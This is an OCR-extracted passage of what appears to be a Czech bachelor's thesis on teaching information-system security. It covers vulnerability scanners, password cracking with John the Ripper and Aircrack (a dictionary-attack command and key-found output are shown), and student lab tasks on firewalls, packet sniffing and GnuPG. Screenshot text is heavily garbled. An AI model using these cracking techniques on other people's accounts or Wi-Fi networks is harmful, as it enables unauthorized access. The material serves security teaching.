WebGoat, coz je vycvikové prostiedi pro penetracni testovani ur¢ené proxy a .NET
nastroje, dalsi aplikaci je napiiklad Web Scarab, ktery testuje zranitelnost webovych
aplikaci. Soucasti této organizace je asi sto pobocek a tisice ucastnikd tzv. ,,mailing
list*, coz je e-mailova konference. Sim OWASP stoji za potadanim nckolik App
konferenci a aktivné se podili na rozvoji norem bezpecnosti.

Dalsim program fungujicim na logice OWASP je placeny program pro skenovani
s nazvem Nessus.

Nessus zastituje spole¢nost Tenable Network Security. Tuto aplikaci je mozné
stdhnout zdarma a pouzivat ji v omezeném rezimu, to znamend, Ze maximalni
velikost testovaci sit€é nesmi piresahnout 16 IP adress a i moznosti testovani jsou
celkem omezené. Zdarma muzeme vyuzit napiiklad Host Discovery, Basic Network
Scan a zakladni Web application test.

Nessus vynalezl v roce 1998 Renauld Deraison jako volné dostupny vzdaleny
bezpecnostni skener, v roce 2005 pieSel Nessus pod spolecnost Tenable a ta ho
upravila a zpoplatnila. Jadro Nessusu je zalozeno na bazi funkci OpenVAS.

OpenVAS (Open Vulnerability Assessment System) je soubor n¢kolika sluzeb a
nastrojl, nabizejicich feSeni pro skenovani zranitelnosti. Velkou vyhodou OpenVAS
je ten, ze veskeré jejich produkty jsou zdarma stazitelné pod licenci GPL.

OpenVAS plvodné zacinal pod nazvem GNessUS, coz byl predchiidce jiz

zminovaného skeneru Nessus, dokud ho v roce 2005 neodkoupila spole¢nost Tenable
a jeho kod neuzaviela. (8) (9) (10)
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.0penVAS

Scan Targets

Obr. 6 Struktura fungovéani projektu OpenVAS

Vulneabitiies [

Phugn Name Plugin Famiy count Hest Detalls
Unsupparted Unix Operating System General 1 1P 0001
os: FresBsD 80
- FreeBs0 81
ONS Server Cache Snaoping Remote wformation Disclosure ons i
Sart  Aprl 17 5k 208 PM
FTP Supports Clear Text authentication 2 1 End - Apel 17 st 214 PM
Espsed  Gminutes
S5H Server CBC Mode Ciphers Enabled hisc. 1 = Oowmiond
‘S5H Weak MAC Algariths Ensbled Misc U Vulnerabilitiss
Peessus YN scanner Part scanners " ® ol
e o
Senvce Detection Service detection s o Lo
. e
Sevice Detection (HELP Raquest) Senice detection 3
N Server Detection ons 2
Backpoted Security Pateh Detection (FTP) General 1
Eackportad Security Paich Dstaction (S5H) General 1
‘Cammon Piatform Enameration (cPE) Ganeral 1
Device Type General 1
(OMS Server EIND version Directie Remate Version Detection ons 1
DM Server hostname.bind Mag Hostname Disdosure ons 1
DN Serves Version Detection ons 1
ETE Server Detection Service detection 1
1CMP Timestamp Request Remots Dats Disdosure Genaral 1
Peessus Scan Information settings 1

i
paogaanueqaanuign: -
-

Obr. 7 Interface Nessus — vysledky skenii serazeny od nejzavaznéjsich
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5.4 Password Cracking

Abychom mohli pracovat s programy, které ziskavaji hesla netradi¢nim
zpusobem, musime si vysvétlit, co tento proces obnasi. Dulezité je to, ze zjisStovani
hesel, kterd nezname, nebo jsou zapomenuta, mizeme pouzivat pouze na vlastnim
pocitaci. Jakmile se totiz budeme snazit dostat hesla cizich G¢tt nebo wi-fi siti, mize
se jednat o trestny Cin.

Celkove se obor o ziskavani, Sifrovani a zabezpeCovani dat pomoci kodli nazyva
kryptografie. Password cracking (Prolamovani hesel) je proces, pii kterém se
snazime ziskat heslo pomoci tvrdé sily nebo pomoci faleSnych informaci.
Nejcastéjsim zplisobem, jak se nékdo snazi ziskat neznamé heslo je opakované
zkouseni (hadani) hesla. Dalsim klasickym zptsobem, jak ziskat heslo, je Ihani o
jeho zapomenuti nebo ztraté a nasledné zmeénéni hesla. Tato moznost se nabizi
napiiklad u poskytovatell, kde je mozné zazadat si o zménu hesla.

Doba, za kterou uto¢nik prolomi heslo je hodn¢ riznoroda, hlavnim faktorem je
délka resp. sila hesla. Cim je heslo silngjsi, tim ma program na prolomeni hesla vétsi
problém. Pokud je heslo opravdu silné, mize prolomeni pomoci ,,hddani“ hesla trvat
1 nekolik let. Déle také zéalezi na rychlosti pocitace, ktery heslo prolamuje, tyto
programy totiz pozaduji velké mnozstvi vypocetniho vykonu a ¢im vykonnéjsi
pocitac je, tim rychleji zkousi jednotliva hesla a tim se zkracuje i doba ¢ekani na
prolomeni. Dnesni programy vyuzivaji i vykon GPU (grafické karty) k urychleni
desifrovani hesla. Tomuto typu utoku se fika Brutal force (hruba sila), kdy program
zkou$i vSechny mozné kombinace hesel z pfedem dané tabulky, dokud se mu
nepodafi heslo uhodnout.

Jind, rychlejsi varianta, jak ziskat cizi heslo je Dictionary attacks (slovnikovy
utok), pfi tomto deSifrovani program vytvaii ndhodnd hesla z daného slovniku, coz
vede K sniZeni ¢asu prolomeni a zaroveii k mén& pokusiim heslo uhadnout. Cim je
heslo delsi a rozmanitéjsi, tim roste 1 ¢as, za jakou dobu uto¢nik mize heslo ziskat,
tim se sniZuje moznost, ze dané heslo bude ve slovniku n¢kterého z programi.

Situace, kdy je hadani hesel nejrychlejsi, je, pokud jsou hesla ulozena jako
Sifrovaci kli¢, naptiklad k wi-fi sitim. Existuje jeden placeny program, ktery zvladne
otestovat 103 000 WPA-PSK hesel za vtefinu.

Dnesni stolni pocitace, na kterych pobezi desifrovaci program (vyuzivajici pouze
CPU pocitace), zvladnou vyzkouset se spravnou hash tabulkou i sto miliont hesel za
vtefinu pouzitim riznych metod k prolomeni hesla. Pokud ale spustime tyto metody
na specialnim GPU procesoru, miZzeme vyzkouset az miliardy hesel za vtetinu. Toto
napiiklad zvladne program John the Ripper, ktery zvladne prolomit osmi mistné
heslo slozené z Cislic, pismen, znakd a symbold (miliarda moznych kombinaci) za 16
minut.

Pokud je pocitac sestrojen pifimo na prolamovani hesel a je spojen napiiklad
s Botnetem, zvladnou prolomit téméf jakékoliv heslo.

Od roku 2011 jsou na trhu komer¢ni produkty na prolamovani hesel, které tvrdi,
ze zvladaji pravé pomoci nejnovéjSich GPU procesori otestovat az 2 800 000 000
hesel za sekundu.
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Abychom predesli tomu, ze nékdo uhodne naSe heslo snadno a rychle, musime
vytvotit kvalitni heslo uz pfi zakladani Gctu. Hesla, kterd jsou tézko
zapamatovatelna, paradoxné snizuji bezpecnost systému, protoze uzivatel si je
vétsinou zapiSe bud’ na papir, nebo elektronicky na disk svého pocitace, navic pokud
napoveédu k heslu ztrati, nebo zapomene, musi si zazadat o obnovu hesla. Dale jsou
tu uzivatelé, ktefi maji jedno heslo pro vSechny svoje ucty.

Podle prizkumu bylo zjisténo, Ze nejlépe zapamatovatelna a nejhlf rozlustitelna
hesla jsou tvofena vymyslenou frazi, kdy vezmeme napiiklad z jedné véty prvni
pismeno od kazdého slova a tim padem se jedna o unikatni heslo, které nebude
v zadné databazi hesel. (11)

5.4.1 John the Ripper

Jednim, z takovych to programd, je jiz zminovany John the Ripper.

John the Ripper je freeware software pouzivany na prolamovani hesel, je stavén
na systému UNIX a v dnesni dob¢ je dostupny pro vice jak patnact platform. Je to
jeden z nejvice vyuzivanych testovacich programt kombinujici mnoho crackovacich
programu do jednoho balicku

# cat pass.txt

user:AZl1.zWwxIhl5Q

# john -w:password.lst pass.txt

Loaded 1 password hash (Traditional DES [24/32 4K])

example (user)

guesses: 1 time: 0:00:00:00 100% c/s: 752 trying: 12345 - pookie

Obr. 8 zakladni prikaz pro zjisténi hesla z predem daného seznamu hesel v Debianu

V ptikazu vidime jméno uZivatele a poté piikaz, kdy John ma cerpat z ptislusného
seznamu hesel, uloZzeného v textovém editoru. Zde se jedna o naprosto jednoduché
heslo, takZe bylo uhddnuto na prvni pokus.

Jak uz bylo feceno, John the Ripper pouziva nékolik moznosti, k prolomeni hesla,
jednou z nich je slovnikovy utok k tomu ov§em pouziva i vlastni databazi jiz diive
prolomenych hesel, které jsou zaSifrovany ve stejném formatu jako je prolamované
heslo a porovnava je.

John obsahuje samoziejmé i brutal-force attack modul tato metoda je vhodna pro
prolamovani hesel, které nejsou na seznamu diive prolomenych hesel.
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5.4.2 Aircrack

Nyni se dostavame do ¢asti prolamovani hesel bezdratovych siti, na tuto praci se
vyborné hodi program Aircrack. Dfive nez se pustime do popisu aplikace a jeji
funkénosti a efektivnosti, popiseme si zaklady zabezpeceni bezdratovych siti.

Zabezpeceni domaéci €i firemni bezdratové sité je stejné dilezité, jako zabezpeceni
vlastniho PC, pokud méme wi-fi zabezpecenou slabé nebo viibec, mize se kdokoliv
pfipojit na soukromou sit’ uzivatele a uto¢nik ma hned jednodusi praci dostat se
K cizim datam.

Bezdratovou sit’ mizeme zabezpecit n¢kolika zplsoby. NejCastéji se pouzivaji
zabezpeceni WEP,WPA nebo WPA2. V ptipadé¢ WEP zabezpeceni se da fict, Ze
prakticky zadné zabezpeCeni neni, protoze prolomeni WEP kli¢e je opravdu
jednoduché. V piipadé¢ WPA nebo WPA2 se da fici, ze jsou téméf neprolomitelné a
jinak nez slovnikovym nebo hrubym ttokem se ptes tento kli¢ nedostaneme.

Bohuzel, i v dnesni dobé se najde plno siti zabezpecenych pouze technikou WEP,

vétSinou z divodu komptability u starSich zafizeni. WEP kli¢ mize mit velikost 64
az 256 bitl. Nejcastéj$im je 128 bit, Sifrovaci metoda u tohoto zabezpeceni se nazyva
RC4, jedna se o velice rychlou a jednoduchou metodu, bohuzel, v uréitych ohledech
taky snadno napadnutelnou.
Vv protokolu WEP, jedna se o ptrechodové zabezpeceni mezi verzi WEP a WPA2.
WPA zabezpeceni je navrzeno tak, aby bylo podporovano sitovimi adaptéry, které
zvladaji ptijimat WEP, tim se docililo lepSiho zabezpeceni siti 1 u starSich zafizeni.
Hlavni zménou od WEP je TKIP, coz je protokol, ktery zajiStuje pravidelnou
vymeénu klich mezi AP a uZivatelem. Pfi nastavovani routeru se miizeme setkat se
dvéma druhy WPA zabezpeceni, WPA-PSK a WPA-EAP. Rozdil mezi t€émito druhy
je v pouziti.

WPA-PSK se pouziva spise v domécich sitich nebo malych firméch. Funguje na
principu zadani hesla a dal§i komunikace se fidi automaticky vyménou klict.

WPA-EAP protokol se nastavuje vétSinou ve vétSich firemnich sitich nebo
Skolach. Zde musi uzivatel zadat jak piihlaSovaci jméno, tak heslo, které se
kontroluje ptes server.

Po WPA pfislo na svét zabezpeceni WPA2, jedna se o zdokonalené WPA, které
odpovida modernim standardim IEEE 802.11i. WPA2 ma vylepSeny algoritmus
zabezpeceni. BohuZel, WPA2 zabezpeceni ma problémy s kompabilitou u nékterych
zafizenich a zadnou podporu pro zafizeni vyrobené pied rokem 2006. DneSni
moderni informaéni technika, kterou mizeme zakoupit standardné¢ podporu WPA2
zabezpeceni.

Dal§i moznost, jak omezit pfistup do bezdratovych siti je moznost nastavit
neviditelnost SSID (jméno wi-fi sité bude neviditelné pro ostatni uZzivatele) nebo
nastavit pfistup pres filtr MAC adres, pokud se v siti pohybuji stale stejné pfistroje.
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Kdyz uz zname zadklady zabezpeCeni bezdratovych siti, miiZzeme pfistoupit
k samotnému Aircrackeru.

Aircrack je softwarovy balicek, ktery slouzi k testovani zabezpe¢eni wi-fi siti.
Nejcastéji se prolamuje WEB nebo WPA-PSK. Abychom mohli tento program
pouzit, je potfeba mit sitovou kartu, ktera podporuje tzv. monitorovaci rezim. Diky
tomu muze Aircrack vysilat do sité modifikovany paket, pies ktery sit’ skenuje. (11)

Aircrack-ng 0.7 ri13e
[@0:00:03] 230 keys tested (73.41 k/s)
KEY FOUND! [ biscotte ]
Master Key : CD D7 9A 5A CF B@ 70 C7 ES D1 @2 3B 87 02 85 D6
39 E4 30 B3 2F 31 AA 37 AC 82 5A 55 B5 55 24 EE
Transcient Key : 33 55 @B FC 4F 24 84 F4 9A 38 B3 D@ 89 83 D2 49
73 F9 DE 89 67 A6 6D 2B 8E 46 2C 07 47 6A CE 08
AD FB 65 D6 13 A9 9F 2C 65 E4 A6 08 F2 5A 67 97
D9 6F 76 5B 8C D3 DF 13 2F BC DA 6A 6E D9 62 CD

EAPOL HMAC : 52 27 B8 3F 73 7C 45 A@ 05 97 69 5C 30 78 60 BD

Obr. 9 Aircrack — hotové skenovani a nalezeni klice

5.4.3 RAR password Recovery

Tento program patfi k t€ém zdkladnim, které ndm poméahaji, pokud ztratime nebo
zapomeneme heslo od zabezpeceného souboru. K ukazce prolamovani hrubou silou a
slovnikem ale bohat¢ postaci. Jak jiz nazev napovida, jedna se o ziskavani hesel
z komprimovanych archivi.
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6 Praktické vytvoreni a pouziti uloh
Prakticka ¢ast této prace popisuje kompletni zpracovani vytvoienych tuloh tak, jak
je dostanou studenti predmétu Bezpecnost informacénich systému, kazda tloha se
sklada ze zadani, podrobného postupu véetné screenti s popisem a naslednym
feSenim ukolu.

6.1 Uloha ¢&. 1 - Firewall a nastavovani filtri

6.1.1 Zadani

Pii teoretické vyuce byla probirana latka o sitich a ochrané komunikace v ni.
Probiral se firewall a nastavovani filtrd. V této Uloze si pomoci programu Cisco
Packet Tracer budeme moci toto nastavovani vyzkouset pro celou sit’.

Ukolem bude v pIn& dostupné siti nastavit na serveru, ktery slouzi pro webové
stranky, aby byl povolen pouze port 80 a zablokovan FTP port, kvili zabezpeceni.
Dale povoleny jen ptedem urcené IP adresy.

6.1.2 Postup
Ke spravnému absolvovani ukolu postupujte dle ndvodu.

1. Stahnéte si z kurzu v moodlu pfipraveny soubor ,,uloha &. 1° a oteviete
v programu Cisco Packet Tracer. Uvidime plné funkéni sit, kde jsou
k dispozici ¢tyii servery (HTTP, Email, DHCP, DNS) a nékolik pocitacu
propojenych, bud’ kabelem, nebo pies bezdratovy router

2. Vyckejte, nez se cela sit kompletné zprovozni, tzn. indikatory
propojenosti, zméni barvu z oranZzové na zelenou.

Default Gateway: i

192.168.10.1/24 ¢ EF‘\‘!EFFT ;
mail server ot
1B

Server-PT —
192.168.10.4/24
DNS server . rniﬂ‘er i
" Snifferz
~ F e ll_,_/,.

192.168.10.3/24 zal

S 'ff. [l
29 niffer Laptop-PT
! Sniffert WRT300N
%ﬁw‘ = nier Wireless Router0 Hanz
3 /
4
Server-PT Vs
DHCP server V4 Laptop-PT
e / Ljub
1521 6R10:2/28 }fe, i SMARTPHONE-PT 7
ifferd Server-PT Ljuk phone TabletPC-PT
nier HTTP server Beduv tablet
192.16800.5/24
J =
PC-PT PC-PT J
Beda Ljuk PC-PT

3. Nas momentalné bude zajimat hlavné¢ HTTP server.
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4. V moznostech serveru si otevieme zalozku ,,desktop a klikneme na
,,IPv4 firewall

5. Vnabidce firewallu =za¢neme s prvotnim nastavenim. Nejprve
zablokujeme veskerou komunikaci na server. V policku ,,Action“
zvolime ,,Deny* a do ,,Remote IP*“ zadame default IP...192.168.0.0, do

,,Protocol” zadame ,,JCMP“ a do ,Remote Wildcard“ Mast adresu
0.255.255.255.

Proces dokonc¢ime kliknutim na ,,add*.

Firewall

Service

[1cMe

Remote P 192,168.0.0 | Remote Wildcard Mask | 0,255, 255,255
Remote Port Local Port

Protocol Remote IP Remote Wild Carc ~ Remote Port
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6. Po zablokovani ,pingovani“ na strdnku musime déale zamezit pfistup
portiim na FTP. FTP port ma cislo 21. Proces se opakuje stejn¢ jako u
zablokovani protokolu ICMP, je zde pouze par drobnych zmén. Protokol
ICMP bude zménén na TCP. Do ,,Remote Port” zaddme ,,any*“ a do
,Local Port* napiSeme ,,21%. Potvrdime tlacitkem ,,add*.

Physical | Config | Services | Desktop | Software/Services |

Firewall

Deny ~ | Protocol |Tce

Remote IP | 192.168.0.0 | Remote Wiidcard Mask |0.255.255.255

Remote Port |any | Local Port [21

Add Save l Remove

Protocol Remote IP Remote Wild Carc  Remote Port
ICMP 192.0.0.0 0.255.255.255

7. Nyni je vSe potifebné zablokované a zbyva povolit webovy port 80.
V ,, Action“ zvolime ,,Allow", ,,Remote IP“,“ Remote Port* a ,,Remote
Wildcard Mask® zlstavaji stejné, jako protokol TCP. ,Local Port™ se
meéni z 21 na 80. Opét vSe zakonc¢ime kliknutim na ,,add*

~ | Protocol TCP

Remote IP | 192.168.0.0 | Remote Wildcard Mask | 0.255.255.255

Remote Part | any | Local Port [0l

Add Save Remove

Protocol Remote IP Remote Wild Carc Remote Port

ICMP 192.0.0.0 0.255.255.255 -

TCP 192.0.0.0 0.255.255.255 any




6.1.3 Dokonceni ulohy

Pokud bylo vSe provedeno spravné podle navodu, dokdzete pomoci webového

prohlizece otevfit adresu ,,reseni®. Poslat paket na http server Vam ale neplijde a
bude hlasit selhani.

Desktop | Software/Services

Ukol Cisco Packet Tracer - Bezpecnost informacnich systému

Popis problematiky bezpecnosti siti

Siti budeme rozumet soustavu nekolika vypocetnich systemu, uzivatele pristupuiji k siti
prostrednictvim nektereho z techto syste?mu

Fire Last Status Source Destination Type Color Time(sec) Periodic Num Edit Delete
o Failed Beda HTTP server  ICMP . 0.000 N 0 (edit)
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6.2 Uloha ¢&. 2 - Sledovani paketii

6.2.1 Zadani

V tomto cviceni budete sledovat pohyb paketti po siti a vyzkouSet si jejich
zachytavani a tfidéni. Ukolem bude nastavit sledova¢e (sniffery) podle potieby na
urCity typ paketl a poté je vyslat z jednoho PC do druhého. Pomoci snifferu si paket
precist a prozkoumat, co takovy paket obsahuje za informace.

6.2.2 Postup
Ke spravnému absolvovani tkolu postupujte dle navodu.

1. Stahnéte si z kurzu v moodlu pfipraveny soubor ,,uloha ¢. 2° a oteviete
v programu Cisco Packet Tracer. Zakladem je funk¢ni sit’ a v ni
pfipojené tii sniffery.

2. Vyzkousejte, zda je sit’ pfipravena a oteviete si rozhrani libovolného
snifferu. Zvolime zalozku GUI, kde muzeme vidét jiz sledujici pakety.

=

Physical Config GuI
Service - Oon ) Off
Incoming Packets ) Porto ™ Portl

Buffer Size

STP
STP
STP

Clear

Ewent List Filters - Visible Events

ARP, BGP, CDP, DHCP, DNS, DTP, EIGRP, FTP, H.323, HSRP, HTTP, HTTPS, ICMP, IPSec, ISAKMF,
LACP, METFLOW, NTF, OSPF, OSPFvs, PAgP, POP3, RADIUS, RIP, RTP, SCCF, SMTR, SMNMP, SSH,
STP, SYSLOG, TACACS, TCP, TFTP, Telnet, UDP, WTF

Edit Filters Show All/MNone
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3. V okné€ s nazvem ,,Buffer Size* mame vypis vSech paketli zachycenych
Snifferem. Ve spodni Céasti pak vypis vSech pakett, které¢ je sniffer

schopen zjistit. Pro vétsi prehlednost zrusime sledovani vsech paketd na
arovni IPV6.

Physical Config

Service ™ On
Incoming Packets ) Porto

Buffer Size |:|

STP ~
STP
sTP
STP
STP
STP
sTP
i IPvd | IPv6 | Misc |
g_Tr'; ARP BGP DHCP
sTP DMS EIGRP HSRP
§$§ ICMP OSPF RIP
STP
STP
S5TP
STP
STP
S5TP
STP

Clear

ISRPvG, HTTP,
. PAQF, POP3,
TFTF, Telnet,

Ewent List Filters - Visible

ARP, BGP, CDP, DHCP, DH
HTTPS, ICMP, ICMPv6, IP
RADIUS, RIP, RIPng, RTP,
UDP, VTP

Edit Filters [T Show All/None

4. Nyni si mizeme otestovat, jestli sniffer funguje. Posleme tedy paket
z libovolného na libovolny PC, jedina podminka je, aby paket prochazel
cestou, kde je sniffer umistén. Po odeslani se nam v Buffer Size okné
zobrazi paket ICMP. Po otevieni daného paketu muZeme z hlavicky
vysledovat, jaka je IP adresa odesilatele a ptijemce a jakou velikost ma.

Physical | Config | GUI
Service @ on O off
Incoming Packets ) Portd @ Portl
Buffer Size [l EER)
sTF ~
sTe Ethernet IT
sTP o A = 1a 15 Quytcs
sTe PREAMBLE! DEST MAC: SRC MAC:
15;:': 101010...10%41 0007.ECE3.3D1E 000D.BD73.EE40
sTR
i TYPE: DATA (VARIABLE LENGTH) FCs:
0800 0%0
sTP
sTP
sTP pi=]
sTP o 2 a 16 13 31 Bics
coe 2 | 1ne | bsce:oxo | TL: 28
oTe
10: Ox1l | oxo | 00
Tri: azs | *Ro: ox: | lcHics UM
SRC 1P: 191.168.1.3
DST 1P: 126.168.1.3
OPT: 0x0 | 00
DATA (VARIABLE LENGTH)
LoMe
o = 1e 31 mics
[ TveE: ox0 | copE: oxo | CHECKSUM |
1D: 0x3 SEQ NUMBER: 2 |
~
Ewent List Filters - Visible Events
CDP, DHCP, DHCPWS, DTP, EIGRPWS, FTP, H.323, HSRPWS, HTTP, HTTPS, ICMP, ICMPvS, IPSec, ISAKMP, LACP, .
NETFLOW, NTP, OSPFvE, PAQP, POP3, RADIUS, RIPng, RTP, SCCP, SMTF, SNMP, SSH, SYSLOG, TACACS, TCP, TFTP, Telnet,
UDP, WTP
Edit Filters ] [ Show All/None
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6.2.3 Dokonceni ulohy

Experimentujte s filtry a zkouSejte posilat rizné kombinace paketti. Tento ukol 1ze
provadet 1 na siti z ulohy €. 1. V ni mizete vyzkouset posilani maili od rGznych
uzivatelil a zjisStovat, co dany paket obsahuje. Pokud si nebude jisti, co, ktera zkratka
znamena. Nahlédnéte do ptilozené tabulky.

Zakladni

protokoly [ popis

IPv4 Internetovy protokol verze 4 - 32 bitové adresy

IPV6 Internetovy protokol verze 6 - 128 bitové adresy

ARP Address Resolution Protocol - se pouziva k nalezeni fyzické adresy
MAC podle znamé IP adresy

ICMP Internet Control Message Protocol - slouzi k pfenosu fidicich hlaseni,
které se tykaji chybovych stavii

TCP Transmission Control Protocol - vytvafti virtualni okruh mezi koncovymi
aplikacemi, tedy spolehlivy pfenos dat

UDP User Datagram Protocol - poskytuje nespolehlivou transportni sluzbu pro
takoveé aplikace, které nepotiebuji spolehlivost, jakou ma protokol TCP

SCTP Spolehlivy protokol pro pienos datagramil ve vice proudech. Je
vyuZzivany zejména v telekomunikacich

Aplikacni

protokoly

DNS systém doménovych jmen

DHCP dynamické ptidélovani IP adres

FTP ptenos soubortl po siti

HTTP ptrenos hypertextovych dokumentii (WWW)

IMAP (Internet Message Access Protocol) umozituje manipulovat s
jednotlivymi e-mail
zpravami na postovnim serveru.

IRC (Internet Relay Chat) — jednoduchy chat po internetu.

POP3 (Post Office Protocol) — protokol pro ziskani posty z postovniho serveru.

SMPT zasilani elektronické posty

37



6.3 Uloha ¢&. 3 - Sifrovani a desifrovani dat

6.3.1 Zadani

V této uloze, si otestujeme a vyzkousime program pro za$ifrovani a desifrovani
dat. Jedné se o freeware program GnuPG. V postupu najdete navod na instalaci a
zakladni nastaveni a vysvétleni pouzivani tohoto programu.

6.3.2 Postup
1. Spustime instaldtor programu GnuPG, odklikdme Klasické instala¢ni
hlasky. Program nas pozada o vyplnéni jména a e-mailu, poté piejdeme
rovnou K vybrani hesla pro nas soukromy kli¢. Diky spodni li§té vidime,
jak silné heslo jsme vytvorili.

Generate key

our key is being generated.

“Even on fast computers this may take/a while. Please be patient.

pinen

|Q| VloZit heslo

© Heslo /I

Kvalita:

Back Forward  Cancel

2. Poté jiz pockame, nez se kli¢ vytvoti a mizeme program vyuzivat. Jako
prvni, co si muzeme vyzkouSet, je zaSifrovani dat, v tomto piipadé
kratkého dokumentu v txt. JednoduSe zvolime encrypt a program soubor
zasifruje s ptiponou ,,.gpg*. Takovy to soubor je pln¢ zaSifrovan a lze ho
otevfit pouze po zadani hesla, které jsme vytvofili pii instalaci.

. R S et = Pt o v o]
[ ._j:-.”,:— S A_‘): }lm S

| Oteviit +. 3
itk LV a

e T $ P .

- .
T G el S et o 1
. Sign and encrypt e e ! | -
[ '@ More GpgEX options B Dectye : S| e
. | g
J Oteviit v programu » Verify o - v ot | .
B oevitvMmacu Decrypt and verify A s -
i, 3 - o«
- Zobrazit v aplikaci Finder < P m w ,)

Sdllet » e 3 ()’ ~ o
Obnovit predchoziverze n and encs ¢ S
Odeslat » g v e ="
reate checksu - Y P~
Vyjmout erify checksums E » 4
e -t A

Help on GpgEX

Vytvorit zéstupce About Gp
Odstr:
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Text nebo jakykoliv dokument mizeme kromé zaSifrovani také elektronicky
podepsat. Soubor tak bude obsahovat elektronickou stopu pc, ktery ho vytvorit a tak
zéaroven potvrzuje jeho pravost.

3. Pfi opétovném otevirani souboru vybereme v nabidce misto ,,Encrypt™
policko ,,Decrypt. Zadame heslo a soubor miizeme dal vyuZzivat a ménit

jej.

Domd

Kopirovat VloZit

Schranka

¢ Qblbené poloky |-
& iCloud Drive (Ma
"5l Naposledy navit
Photo Stream (M
M Plocha
8 Stazené soubory

& OneDrive
bakalarka
Documents
Dokumenty

EKA (Schwarzovd
EKA_ETEB

Hp ovladade_pav
Qbrazky

ostatni

snimky

Statnice

Ekola

web srni 2013

wish eni hata

Pocet polofek: 18

v

Sdileni
x Vyimout
opirovat cestu

Vlozit zastupce

A L. v GnuPGscreen

Zobrazeni ~ 0
“ x @ i @ Mova polozka = | 3] Oteviit = E Vybrat vie
| |
A = =] snadny piistup DUpraw 05 Zrudit vibér
Piesunout Kopirovat Qdstranit Piejmenovat  Mova Vlastnosti o & -
do~ do~ - slozka ¥B Historie I:l%l Invertovat vjbér
Usporadat Novy Oteviit Vybrat
v G Prohledat: GnuPG screen -]
Nazev ° Datum zmény Typ Velikost
|| sifrovani 13.6. 201515:52 Textovy dokument TkB
[ ] si i.tt.qpq 12 6 015 15.5) Soubor GPG 1 kg|
B Snimek obrazovky|  Oteviitv programu 5 Obrazek PNG 361 kB
Snimek obrazovk, Decrypt and veri u Obrézek PNG T3 kB
yp! ify
R Snimek obrazovky| @ More GpgEX options » Decrypt ‘ 63 kB
M) Snimek obrazovky Oteviit v Macu Verify 135kB
B Snimelc obrazovky Zobrazit v aplikaci Finder Decrypt and verify o
[R&] Snimek obrazoviy o . By 54 kB
i
[Ra] Snimek obrazovk . ) 53kB
Qbnovit pedchozi verze Sign
|Ra] Snimek obrazovk 64 kB
Sign and encrypt
Rl Snimek obrazovky Odleslat & 62kB
) Import keys
E :m'me: D:”EZW: Vyjmout Create checksums ::‘; :::
nimek obrazov] 3
. Kopirovat Verify checksums
[R&] Snimek obrazoviy 4B
[ Snimek obrazovig| | Yivoiit zéstupce Help on GpgEX 5148
nimek obrazov out Gpg
Snimek cbrazovy  Odstrantt About GpgEX 166 k8
Bl Snimek obrazovky|  Preimenovat T Obrazek PNG kB
nimek obrazovl razel
Snimek obrazoviy Vlastnosti 3 Obrazek PNG 40kB

8 Phntn Stream an

Potet vybranych polofek: 1; 365 bajtd

Stav:@ Online

Prosim, zadejte heslo, abyste odemkl(a) tajny ki€ piisluiejic OpenPGP certifikatu:
ALukas Bezdék <bezdek.luk@gmail.com ="

KiiE o délce 2043 bitfl, typ RSA, ID 35842772

vytvofeny 2015-06-13 (hlavni ID klife 63E74ACE).

Heslo | |
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6.3.3 Dokonceni ulohy

GnuPG nabizi také moznost integrovani do e-mailového klienta a to nejen do
Outlooku ale i do klienta Mail v OS X. Diky tomu mutzZeme posilat e-mail s naSim
elektronickym podpisem a certifikatem. Pred kazdym odeslanim nas GnuPG pozada
0 zadani hesla. Diky tomu e-mail poSle zabezpeéeny vefejnym klicem (b&hem cesty
K pfijemci je chranén) a piijemce poté dostane mail, kde v pfiloze je i elektronicky

podpis.

e e testovaci zpréva

| = 2 EE

Komu: diablobeda@gmail.com ~

fedmét: testovaci zprava | & ]
O¢: Lukés Bezdék - bezdek luk@gmail.com

Testovaci zpréva na olestovéni programu GnuPG

Pinentry Mac

Please enter the passphrase to unlock the secret key for the OpenPGP
certificate:

"Luk&s Bezdék <bezdek.luk@gmail.coms>"

4096-bit RSA key, ID 40396562,

created 2015-06-13.

Passphrase

Show typing Save in Keychain Cancel “

Lukés Bezdék <bezdek luk@gmail. com> @ 15:59 [pfed 2 minutami) -

L

Testovaci zprava na ofestovani programu GnuPG

B signatureasc

oo

Comment: GPGTools - https://gpgtools.org

iQIcBAEBCQAGBQJIVEDd/AROJEHIsWE1AOWVi+40P/363tI0MkbrBzi3fUSKSd99g
kr¥6dUJel03W3v0aabjBRibJ8RBRAOrCvQ1JDUYDMUUJWoLAZ3HJglDeKgOnTcOHz
gGCahyPmFkX9C2G3Vuz3IgnNUIjcMgo+E/WrMXPVBbR5BNS5kXbZhQ1VzMsdqwiOQ
eUKtHIG2ZYTQe3qxqulTenbI8LGLZMYC/482tSal2R]YwlsDB+QU+MFgAYtu9all
MOttxHG2XgkC6%eXv0CD/cc5heGCe/gde5)gqrLYZ /BO9bQdewptGd/Th2g913g5dD
WecfLeE3NVWAArw6 78 THIVMX05xsBOpnZ 6avyCdQVkggrD9PdsEWb070LJ+oduwc+
VEvmBsGAEM6LCO6vKbHIMTvSxvM1iAaTeQGW/ 0W2JProN+A6tWG04aKhD1GqubKz
JHM+H11la+gSragbVmoLSgjA/8YC2bed8rxcUT1WO86apw9edAW4FiapkecEfasNos
DczAucR6doLIYGlaYViSp2JSeauahRkUebOlchSoMY5AYHIrZz+aneb0uGl£jyY3ST
Pi41Né6pe25ADKskxXk65E4T0J1aT9kqHoqCkdP4dfY2IYNZwF1HSO611Sttgq9itW
TDJ+FJRaReQ88ByZCx7UinyfLID62dwILcIJfAYPRXkr IS3vUAYau7g0ghwOxtQre
gkZ+gD+DTAg4aBKLIAOU

=1YUB
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6.4 Uloha ¢&. 4 - Prolamovani wi-fi hesel

6.4.1 Zadani

V této uloze si vyzkousime jiz popisovany program Aircrack. Slouzi na zjistovani
a testovani zabezpeceni wi — fi siti a ziskdvani jejich hesel bud’ hrubou silou, nebo
pomoci slovniku. Za pomoci pfipraveného routeru s urcitym heslem a nastavenim si
vyzkousite, jak je jaké zabezpeceni opravdu ucinné.

6.4.2 Postup

1. Z kurzu v moodlu si stahneme pfipraveny program zabaleny v rar archiv.
Vyhodou Aircracku je, ze se nemusi instalovat. Sta¢i pouze spustit
soubor ,,Aircrack-ngGUI.exe* ve slozce ,,bin* jako spravce.

000 £ bin
< sBoo = % 4 o Q Hiedat

Oblibené Nézev ~  Datum zmény Velikost ~ Drug
& Vaechny mé so... airbase-ng.exe 10. dubna 2015 5:18 425kB  Mig

. Aircrack-ng GUlLexe

. listopadu 2013 19:46

